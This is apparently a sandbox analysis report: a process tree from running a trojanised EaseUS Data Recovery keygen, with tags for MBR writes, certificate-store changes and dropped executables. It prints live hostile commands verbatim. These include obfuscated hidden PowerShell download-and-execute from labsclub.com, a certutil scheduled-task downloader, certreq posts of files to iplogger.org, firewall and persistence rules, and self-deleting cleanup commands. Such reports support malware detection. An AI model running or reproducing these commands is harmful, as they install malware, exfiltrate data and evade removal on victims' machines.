Install.exe 100 PID 4512 wrote to memory of 4740 4512 Install.exe 100 PID 1188 wrote to memory of 3148 1188 keygen-step-4.exe 101 PID 1188 wrote to memory of 3148 1188 keygen-step-4.exe 101 PID 1188 wrote to memory of 3148 1188 keygen-step-4.exe 101 PID 2460 wrote to memory of 3100 2460 26FF190E7AE0F7C7.exe 145 PID 2460 wrote to memory of 3100 2460 26FF190E7AE0F7C7.exe 145 PID 1460 wrote to memory of 528 1460 26FF190E7AE0F7C7.exe 103 PID 1460 wrote to memory of 528 1460 26FF190E7AE0F7C7.exe 103 PID 1460 wrote to memory of 528 1460 26FF190E7AE0F7C7.exe 103 PID 2460 wrote to memory of 3100 2460 26FF190E7AE0F7C7.exe 145 PID 2460 wrote to memory of 3100 2460 26FF190E7AE0F7C7.exe 145 PID 2460 wrote to memory of 3100 2460 26FF190E7AE0F7C7.exe 145 PID 2460 wrote to memory of 3100 2460 26FF190E7AE0F7C7.exe 145
Processes
-
C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4808 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4288 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:840 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵PID:1864
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:896
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1052 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:2200 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:4560
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"5⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4600
-
-
C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exeC:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp15⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2460 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵PID:3100
-
C:\Users\Admin\AppData\Local\Temp\is-DGV5G.tmp\setup_10.2_us3.tmp"C:\Users\Admin\AppData\Local\Temp\is-DGV5G.tmp\setup_10.2_us3.tmp" /SL5="$20284,746887,121344,C:\Users\Admin\AppData\Local\Temp\dfukh2tx2hs\setup_10.2_us3.exe" /silent7⤵PID:4720
-
C:\Program Files (x86)\DTS\seed.sfx.exe"C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s18⤵PID:4084
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"9⤵PID:4356
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1Gusg7"8⤵PID:2556
-
-
-
-
C:\Users\Admin\AppData\Roaming\1614524836262.exe"C:\Users\Admin\AppData\Roaming\1614524836262.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614524836262.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4836
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵PID:2068
-
-
C:\Users\Admin\AppData\Roaming\1614524841533.exe"C:\Users\Admin\AppData\Roaming\1614524841533.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614524841533.txt"6⤵PID:1624
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵PID:2588
-
-
C:\Users\Admin\AppData\Roaming\1614524847390.exe"C:\Users\Admin\AppData\Roaming\1614524847390.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614524847390.txt"6⤵PID:4876
-
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"6⤵PID:5684
-
-
C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP6⤵PID:4812
-
-
C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exeC:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe /silent6⤵PID:6376
-
C:\Users\Admin\AppData\Local\Temp\is-SK4L4.tmp\23E04C4F32EF2158.tmp"C:\Users\Admin\AppData\Local\Temp\is-SK4L4.tmp\23E04C4F32EF2158.tmp" /SL5="$2040A,746887,121344,C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe" /silent7⤵PID:6432
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/14Zhe7"8⤵PID:6552
-
-
C:\Program Files (x86)\DTS\seed.sfx.exe"C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s18⤵PID:6544
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"9⤵PID:6780
-
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"9⤵PID:6656
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"6⤵PID:6832
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
PID:6896
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exeC:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp15⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1460 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:528
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:3672
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"6⤵PID:1612
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
PID:1896
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"5⤵
- Suspicious use of WriteProcessMemory
PID:200 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 36⤵
- Runs ping.exe
PID:1564
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4512 -
C:\Users\Admin\AppData\Local\Temp\C9G76X7JBD\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\C9G76X7JBD\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
PID:4740 -
C:\Users\Admin\AppData\Local\Temp\C9G76X7JBD\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\C9G76X7JBD\multitimer.exe" 1 3.1614525054.603bb27ed858f 1016⤵PID:2552
-
C:\Users\Admin\AppData\Local\Temp\C9G76X7JBD\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\C9G76X7JBD\multitimer.exe" 2 3.1614525054.603bb27ed858f7⤵PID:1068
-
C:\Users\Admin\AppData\Local\Temp\iezlsp5hnah\gwnbqcgf3pg.exe"C:\Users\Admin\AppData\Local\Temp\iezlsp5hnah\gwnbqcgf3pg.exe" /VERYSILENT8⤵PID:2188
-
C:\Users\Admin\AppData\Local\Temp\is-JH6I0.tmp\gwnbqcgf3pg.tmp"C:\Users\Admin\AppData\Local\Temp\is-JH6I0.tmp\gwnbqcgf3pg.tmp" /SL5="$50238,870426,780800,C:\Users\Admin\AppData\Local\Temp\iezlsp5hnah\gwnbqcgf3pg.exe" /VERYSILENT9⤵PID:224
-
C:\Users\Admin\AppData\Local\Temp\is-N2UTC.tmp\winlthst.exe"C:\Users\Admin\AppData\Local\Temp\is-N2UTC.tmp\winlthst.exe" test1 test110⤵PID:5300
-
C:\Users\Admin\AppData\Local\Temp\S0JWVPDQV.exe"C:\Users\Admin\AppData\Local\Temp\S0JWVPDQV.exe"11⤵PID:6816
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\S0JWVPDQV.exe"12⤵PID:6536
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK13⤵
- Delays execution with timeout.exe
PID:6280
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵PID:6232
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵PID:5860
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\qotj4arv4gj\safebits.exe"C:\Users\Admin\AppData\Local\Temp\qotj4arv4gj\safebits.exe" /S /pubid=1 /subid=4518⤵PID:3336
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Roaming\OptioLink\pptlng.dll",pptlng C:\Users\Admin\AppData\Local\Temp\qotj4arv4gj\safebits.exe9⤵PID:5644
-
-
-
C:\Users\Admin\AppData\Local\Temp\pwwl0q3m3tx\vict.exe"C:\Users\Admin\AppData\Local\Temp\pwwl0q3m3tx\vict.exe" /VERYSILENT /id=5358⤵PID:5104
-
C:\Users\Admin\AppData\Local\Temp\is-CIFI3.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-CIFI3.tmp\vict.tmp" /SL5="$4019E,870426,780800,C:\Users\Admin\AppData\Local\Temp\pwwl0q3m3tx\vict.exe" /VERYSILENT /id=5359⤵PID:204
-
C:\Users\Admin\AppData\Local\Temp\is-60RB8.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-60RB8.tmp\wimapi.exe" 53510⤵PID:4632
-
C:\Users\Admin\AppData\Local\Temp\ZGoNsBt18.exe"C:\Users\Admin\AppData\Local\Temp\ZGoNsBt18.exe"11⤵PID:4416
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵PID:7556
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵PID:7784
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\0wyhnq43mb3\vpn.exe"C:\Users\Admin\AppData\Local\Temp\0wyhnq43mb3\vpn.exe" /silent /subid=4828⤵PID:4916
-
C:\Users\Admin\AppData\Local\Temp\is-1ICVA.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-1ICVA.tmp\vpn.tmp" /SL5="$102D6,15170975,270336,C:\Users\Admin\AppData\Local\Temp\0wyhnq43mb3\vpn.exe" /silent /subid=4829⤵PID:1996
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵PID:5136
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090111⤵PID:2148
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵PID:7108
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵PID:6280
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵PID:1344
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵PID:7008
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\td3lpc4p5ss\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\td3lpc4p5ss\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵PID:3588
-
C:\Users\Admin\AppData\Local\Temp\is-NCAGG.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-NCAGG.tmp\IBInstaller_97039.tmp" /SL5="$10418,14436520,721408,C:\Users\Admin\AppData\Local\Temp\td3lpc4p5ss\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵PID:4420
-
C:\Users\Admin\AppData\Local\Temp\is-GKK8S.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-GKK8S.tmp\{app}\chrome_proxy.exe"10⤵PID:5128
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-GKK8S.tmp\{app}\chrome_proxy.exe"11⤵PID:5140
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 412⤵
- Runs ping.exe
PID:2252
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://dropskeyssellbuy.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703910⤵PID:5000
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\x32inyyuo5t\app.exe"C:\Users\Admin\AppData\Local\Temp\x32inyyuo5t\app.exe" /8-238⤵PID:1328
-
C:\Users\Admin\AppData\Local\Temp\wkMmmbiRnDSYrTPfZ\kdu.exeC:\Users\Admin\AppData\Local\Temp\wkMmmbiRnDSYrTPfZ\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\wkMmmbiRnDSYrTPfZ\driver.sys9⤵PID:7028
-
-
C:\Users\Admin\AppData\Local\Temp\x32inyyuo5t\app.exe"C:\Users\Admin\AppData\Local\Temp\x32inyyuo5t\app.exe" /8-239⤵PID:6744
-
C:\Users\Admin\AppData\Local\Temp\awUoWQtSYTBMTApe\kdu.exeC:\Users\Admin\AppData\Local\Temp\awUoWQtSYTBMTApe\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\awUoWQtSYTBMTApe\driver.sys10⤵PID:4144
-
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"10⤵PID:6808
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes11⤵PID:5488
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /8-2310⤵PID:4920
-
C:\Users\Admin\AppData\Local\Temp\kgWLFVFzhXTBoZpG\kdu.exeC:\Users\Admin\AppData\Local\Temp\kgWLFVFzhXTBoZpG\kdu.exe -map C:\Users\Admin\AppData\Local\Temp\kgWLFVFzhXTBoZpG\driver.sys11⤵PID:4956
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F11⤵
- Creates scheduled task(s)
PID:4648
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F11⤵
- Creates scheduled task(s)
PID:6592
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\mglp2sxww4z\1aht4dbqn3y.exe"C:\Users\Admin\AppData\Local\Temp\mglp2sxww4z\1aht4dbqn3y.exe" testparams8⤵PID:1916
-
C:\Users\Admin\AppData\Roaming\q10d4masvbg\vwqex2yfhzf.exe"C:\Users\Admin\AppData\Roaming\q10d4masvbg\vwqex2yfhzf.exe" /VERYSILENT /p=testparams9⤵PID:5768
-
C:\Users\Admin\AppData\Local\Temp\is-CEE3Q.tmp\vwqex2yfhzf.tmp"C:\Users\Admin\AppData\Local\Temp\is-CEE3Q.tmp\vwqex2yfhzf.tmp" /SL5="$20272,1611272,61440,C:\Users\Admin\AppData\Roaming\q10d4masvbg\vwqex2yfhzf.exe" /VERYSILENT /p=testparams10⤵PID:240
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\d0m0wfxayn4\u43zzb11wg5.exe"C:\Users\Admin\AppData\Local\Temp\d0m0wfxayn4\u43zzb11wg5.exe" 57a764d042bf88⤵PID:4396
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k "C:\Program Files\TVKLRNTA9L\NA2TJRJT4.exe" 57a764d042bf8 & exit9⤵PID:6056
-
C:\Program Files\TVKLRNTA9L\NA2TJRJT4.exe"C:\Program Files\TVKLRNTA9L\NA2TJRJT4.exe" 57a764d042bf810⤵PID:2076
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3x3mm5lodgz\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\3x3mm5lodgz\chashepro3.exe" /VERYSILENT8⤵PID:3308
-
-
C:\Users\Admin\AppData\Local\Temp\k4rg2hyiue5\huxduhkosye.exe"C:\Users\Admin\AppData\Local\Temp\k4rg2hyiue5\huxduhkosye.exe" /ustwo INSTALL8⤵PID:3964
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 6489⤵
- Program crash
PID:5820
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 6649⤵
- Program crash
PID:5896
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 6249⤵
- Program crash
PID:5972
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 6569⤵
- Program crash
PID:2124
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 8809⤵
- Program crash
PID:5756
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 9449⤵
- Program crash
PID:6016
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 12009⤵
- Program crash
PID:6132
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 13809⤵
- Program crash
PID:1420
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 15569⤵
- Program crash
PID:4048
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 15929⤵
- Program crash
PID:5676
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 15649⤵
- Program crash
PID:7084
-
-
-
C:\Users\Admin\AppData\Local\Temp\z3wo3ex1go3\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\z3wo3ex1go3\Setup3310.exe" /Verysilent /subid=5778⤵PID:776
-
-
C:\Users\Admin\AppData\Local\Temp\dfukh2tx2hs\setup_10.2_us3.exe"C:\Users\Admin\AppData\Local\Temp\dfukh2tx2hs\setup_10.2_us3.exe" /silent8⤵
- Suspicious use of SetWindowsHookEx
PID:3100
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
PID:3148 -
C:\Users\Admin\AppData\Roaming\DC3C.tmp.exe"C:\Users\Admin\AppData\Roaming\DC3C.tmp.exe"5⤵
- Executes dropped EXE
PID:1204 -
C:\Users\Admin\AppData\Roaming\DC3C.tmp.exe"C:\Users\Admin\AppData\Roaming\DC3C.tmp.exe"6⤵PID:2548
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵PID:4308
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:4800
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵PID:4584
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"4⤵PID:4424
-
C:\ProgramData\869474.9"C:\ProgramData\869474.9"5⤵PID:4080
-
-
C:\ProgramData\2468701.27"C:\ProgramData\2468701.27"5⤵PID:4724
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵PID:2752
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵PID:1888
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:6124
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:4900
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"4⤵PID:5264
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:2952
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:2892
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4596 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 87A0A27BD097456101CAAD1BC0F7A231 C2⤵
- Loads dropped DLL
PID:2888
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:2196
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:2036
-
C:\Users\Admin\AppData\Local\Temp\is-RRB93.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-RRB93.tmp\chashepro3.tmp" /SL5="$1029E,2993785,58368,C:\Users\Admin\AppData\Local\Temp\3x3mm5lodgz\chashepro3.exe" /VERYSILENT1⤵PID:3124
-
C:\Program Files (x86)\JCleaner\us1.exe"C:\Program Files (x86)\JCleaner\us1.exe"2⤵PID:4816
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\system32\notepad.exe"3⤵PID:5532
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe"4⤵PID:6076
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1hTS97 %windir%\\win.ini %temp%\\2 & del %temp%\\22⤵PID:2152
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1hTS97 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\23⤵PID:5592
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1hTS97"2⤵PID:1428
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"2⤵PID:688
-
-
C:\Program Files (x86)\JCleaner\wi.exe"C:\Program Files (x86)\JCleaner\wi.exe"2⤵PID:4556
-
C:\Program Files (x86)\JCleaner\wi.exe"C:\Program Files (x86)\JCleaner\wi.exe"3⤵PID:5576
-
-
-
C:\Program Files (x86)\JCleaner\jayson.exe"C:\Program Files (x86)\JCleaner\jayson.exe"2⤵PID:4520
-
C:\Program Files (x86)\JCleaner\jayson.exe"C:\Program Files (x86)\JCleaner\jayson.exe"3⤵PID:6040
-
-
-
C:\Program Files (x86)\JCleaner\lll.exe"C:\Program Files (x86)\JCleaner\lll.exe"2⤵PID:1732
-
C:\Program Files (x86)\JCleaner\lll.exe"C:\Program Files (x86)\JCleaner\lll.exe"3⤵PID:5568
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"2⤵PID:2736
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1aSny7"2⤵PID:756
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\22⤵PID:4848
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\23⤵PID:5608
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\22⤵PID:4104
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\23⤵PID:5648
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1EaGq7"2⤵PID:2144
-
-
